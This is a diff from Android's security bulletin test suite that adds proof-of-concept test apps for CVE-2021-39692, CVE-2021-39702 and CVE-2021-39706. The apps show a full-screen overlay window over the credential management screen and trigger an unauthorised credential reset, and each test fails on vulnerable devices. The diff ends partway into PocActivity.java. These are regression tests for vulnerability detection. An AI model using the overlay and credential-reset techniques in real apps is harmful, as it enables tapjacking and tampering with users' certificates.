diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
new file mode 100644
index 0000000..be96d11
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ private Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ private static int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private static int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ Context context = getApplicationContext();
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ mButton = new Button(getApplicationContext());
+ mButton.setText(context.getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
index bcbf54f..034f865 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,17 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39702",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
new file mode 100644
index 0000000..60105d6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_39702"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application
+ android:allowBackup="true"
+ android:label="CVE_2021_39702"
+ android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".PocService"
+ android:enabled="true"
+ android:exported="false" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39702" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
new file mode 100644
index 0000000..46f9745
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+ <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="dumpsysActivity">dumpsys activity</string>
+ <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity command
+ </string>
+ <string name="errorMessage">Device is vulnerable to b/205150380 hence any app with
+ "SYSTEM_ALERT_WINDOW can overlay the RequestManageCredentials screen</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="overlayAttack">overlayattack</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="vulActivityNotRunningError">The RequestManageCredentials is not currently running
+ on the device</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
new file mode 100644
index 0000000..b5f3a3e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39702;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.provider.Settings;
+import android.security.AppUriAuthenticationPolicy;
+import android.security.Credentials;
+import android.security.KeyChain;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private String vulnerableActivityName = "";
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ assumeNotNull(context);
+ Intent intent = new Intent(context, PocService.class);
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(context));
+ try {
+ context.startService(intent);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e);
+ }
+ }
+
+ public void startVulnerableActivity() {
+ Context context = getApplicationContext();
+ assumeNotNull(context);
+ Intent intent = new Intent(Credentials.ACTION_MANAGE_CREDENTIALS);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ AppUriAuthenticationPolicy policy = new AppUriAuthenticationPolicy.Builder()
+ .addAppAndUriMapping(context.getPackageName(), Uri.parse(""),
+ context.getString(R.string.overlayAttack))
+ .build();
+ intent.putExtra(KeyChain.EXTRA_AUTHENTICATION_POLICY, policy);
+ PackageManager pm = context.getPackageManager();
+ assumeNotNull(pm);
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(context.getString(R.string.activityNotFoundMsg) + intent, ri != null);
+ assumeNotNull(ri.activityInfo);
+ vulnerableActivityName = ri.activityInfo.name;
+ try {
+ context.startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e);
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ Context context = getApplicationContext();
+ assumeNotNull(context);
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ assumeNotNull(device);
+
+ /* Start the overlay service */
+ startOverlayService();
+
+ /* Wait for the overlay window */
+ Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+ Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.overlayUiScreenError),
+ device.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = device.wait(Until.gone(By.pkg(context.getPackageName())),
+ LAUNCH_TIMEOUT_MS);
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ try {
+ activityDump = device.executeShellCommand(
+ context.getString(R.string.dumpsysActivity) + " " + vulnerableActivityName);
+ } catch (IOException e) {
+ assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e);
+ }
+ Pattern activityPattern =
+ Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.vulActivityNotRunningError),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(context.getString(R.string.errorMessage), overlayDisallowed);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
new file mode 100644
index 0000000..e20029af7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39702;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ public static Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ private static int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private static int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ Context context = getApplicationContext();
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(context));
+ mButton = new Button(context);
+ mButton.setText(context.getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
similarity index 61%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
index bcbf54f..ea7eb99 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,21 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39706",
+ defaults: [
+ "cts_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml
new file mode 100644
index 0000000..4ee35ba
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39706"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:testOnly="true"
+ android:label="CVE-2021-39706"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name=".PocDeviceAdminReceiver"
+ android:exported="true"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ <meta-data
+ android:name="android.app.device_admin"
+ android:resource="@xml/device_policies" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"></action>
+ </intent-filter>
+ </receiver>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39706" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
new file mode 100644
index 0000000..6188e9a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:app="http://schemas.android.com/apk/res-auto"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <Button
+ android:id="@+id/button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/cleanCache" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
new file mode 100644
index 0000000..2afb31c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="settingsPkg">com.android.settings</string>
+ <string name="settingsPkgCar">com.android.car.settings</string>
+ <string name="certCls">com.android.settings.security.CredentialStorage</string>
+ <string name="certClsCar">com.android.car.settings.security.CredentialStorageActivity</string>
+ <string name="certInstalled">Certificate is already installed</string>
+ <string name="certInstallFail">Certificate installation failed!</string>
+ <string name="certNotFound">Certificate not found after installation</string>
+ <string name="pkgName">android.security.cts.CVE_2021_39706</string>
+ <string name="openFail">Failed to open </string>
+ <string name="tapFail">Failed to Tap </string>
+ <string name="pkgInstallFail"> is not installed!</string>
+ <string name="oK">OK</string>
+ <string name="cleanCache">CLEAN CACHE</string>
+ <string name="failMessage">Vulnerable to b/200164168 !!</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
new file mode 100644
index 0000000..8a3a4d3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<device-admin>
+ <uses-policies>
+ <disable-camera/>
+ </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
new file mode 100644
index 0000000..fcff1b1
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.security.cts.CVE_2021_39706.PocActivity;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int TIMEOUT = 10000;
+ private static Resources resources;
+ private static String settingsPkg;
+
+ /*
+ * The Certificate and keypair below are generated with:
+ *
+ * openssl req -nodes -new -x509 -keyout key.pem -out cert.pem -days 3650
+ */
+
+ // Content from cert.pem
+ public static final String TEST_CA = "-----BEGIN CERTIFICATE-----\n"
+ + "MIIDAzCCAeugAwIBAgIUax98yDH6YvGpzh2XQBYV7MU2ao8wDQYJKoZIhvcNAQEL\n"
+ + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExMzcxNloXDTMyMDIxNTEx\n"
+ + "MzcxNlowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n"
+ + "MIIBCgKCAQEAoPTRA3pjJc1JTQN3EK6Jtl9JkJaI0+P/e3Bzyi4MkxrSuHDvfqP0\n"
+ + "08roSZgG0a/I1oSlfTSt5QEOvuJH3KVW0IuUF71JYO6rmm7wU2Clx89qmONgQGJR\n"
+ + "G72qvhIBEN1zma2WK9NFcQ4amYspLfkB9HSjy3C+LCwgqoQFfND6uaCGELayx4km\n"
+ + "CnJgBfxNddcz0abWShJ0fr0lOPtKY4tPHhE/1oWGGqAI/U808veLJDpQ06c8wjNf\n"
+ + "8GD7thykOwoTlF630gz0gA/VkmxiOfn0WXRS8VeJ6TeilFsBNUSD4tLA250U8r0F\n"
+ + "d9yFMRVtdFPuNP1ajf2IO+RLpQUr2kWAbQIDAQABo1MwUTAdBgNVHQ4EFgQU1gXp\n"
+ + "r3L/Gf39tvSOZrD5wSQmUJAwHwYDVR0jBBgwFoAU1gXpr3L/Gf39tvSOZrD5wSQm\n"
+ + "UJAwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAFDTpZ1LNtd29\n"
+ + "hh+8TFvAOoaMx06AgnTRdLdsWwcjJCCAHvBiimE23XFO91VjTbttIXynpnKHVwOf\n"
+ + "lgTsExLtXDFU65OQNaWt7UebtWdvxsThd754SUsSGVuZ6VXyI5EuADoU/MocdE3B\n"
+ + "+EJZnl/HvG4KKPTL+YdlvthI1j5WUmI2m7yVzYouC72y92L3ebPaGdMcbp9wjZ89\n"
+ + "LdvAJ8yaLqVxv7TQgXORUo1NrqASsVVW/IgmovHuZj9wK7ZenFhT58ue7nxqQm4Z\n"
+ + "nQfdnxdV19tprMfx1+uu7NNqvxCv1UN6peeBzF/0Bony+9oNzOnGYwMRm9Ww8+mJ\n"
+ + "v02a06J8kg==\n" + "-----END CERTIFICATE-----";
+
+ private UiDevice device;
+ private Context context;
+ private PackageManager packageManager;
+
+ private void openApplication(String applicationName) {
+ Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ context.startActivity(intent);
+ assumeTrue(resources.getString(R.string.openFail) + applicationName,
+ device.wait(Until.hasObject(By.pkg(applicationName)), TIMEOUT));
+ }
+
+ private void tapText(String text) {
+ boolean buttonClicked = false;
+ UiObject2 object = device.findObject(By.text(text));
+ if (object != null && object.getText() != null) {
+ object.click();
+ buttonClicked = true;
+ }
+ assumeTrue(resources.getString(R.string.tapFail) + text, buttonClicked);
+ }
+
+ protected boolean isPackageInstalled(String packageName) {
+ try {
+ PackageInfo pi = packageManager.getPackageInfo(packageName, 0);
+ return pi != null;
+ } catch (PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+
+ @Before
+ public void setUp() {
+ // Initialize UiDevice instance
+ device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ context = InstrumentationRegistry.getInstrumentation().getContext();
+ packageManager = context.getPackageManager();
+ resources = context.getResources();
+ settingsPkg = PocActivity.checkIsCar() ? resources.getString(R.string.settingsPkgCar)
+ : resources.getString(R.string.settingsPkg);
+ assumeTrue(settingsPkg + resources.getString(R.string.pkgInstallFail),
+ isPackageInstalled(settingsPkg));
+ }
+
+ @Test
+ public void testCredentialReset() {
+ final byte[] cert = TEST_CA.getBytes();
+ PocPolicyManager policyManager = new PocPolicyManager(getApplicationContext());
+ assumeFalse(resources.getString(R.string.certInstalled),
+ policyManager.hasCaCertInstalled(cert));
+ assumeTrue(resources.getString(R.string.certInstallFail),
+ policyManager.installCaCert(cert));
+ assumeTrue(resources.getString(R.string.certNotFound),
+ policyManager.hasCaCertInstalled(cert));
+
+ // Open the PoC and attempt to reset credentials
+ openApplication(resources.getString(R.string.pkgName));
+ // Button is used to reset credentials after confirming that PoC opened successfully
+ tapText(resources.getString(R.string.cleanCache));
+ if (device.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT)) {
+ // Press OK in the reset dialog which confirms before clearing certificates
+ tapText(resources.getString(R.string.oK));
+ }
+ long end = System.currentTimeMillis() + TIMEOUT;
+ while (System.currentTimeMillis() < end) {
+ if (!policyManager.hasCaCertInstalled(cert)) {
+ // Without fix, the certificate is reset
+ fail(resources.getString(R.string.failMessage));
+ }
+ }
+
+ // With fix, the certificate is not reset. Uninstall it explicitly
+ policyManager.uninstallCaCert(cert);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
new file mode 100644
index 0000000..7d112f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
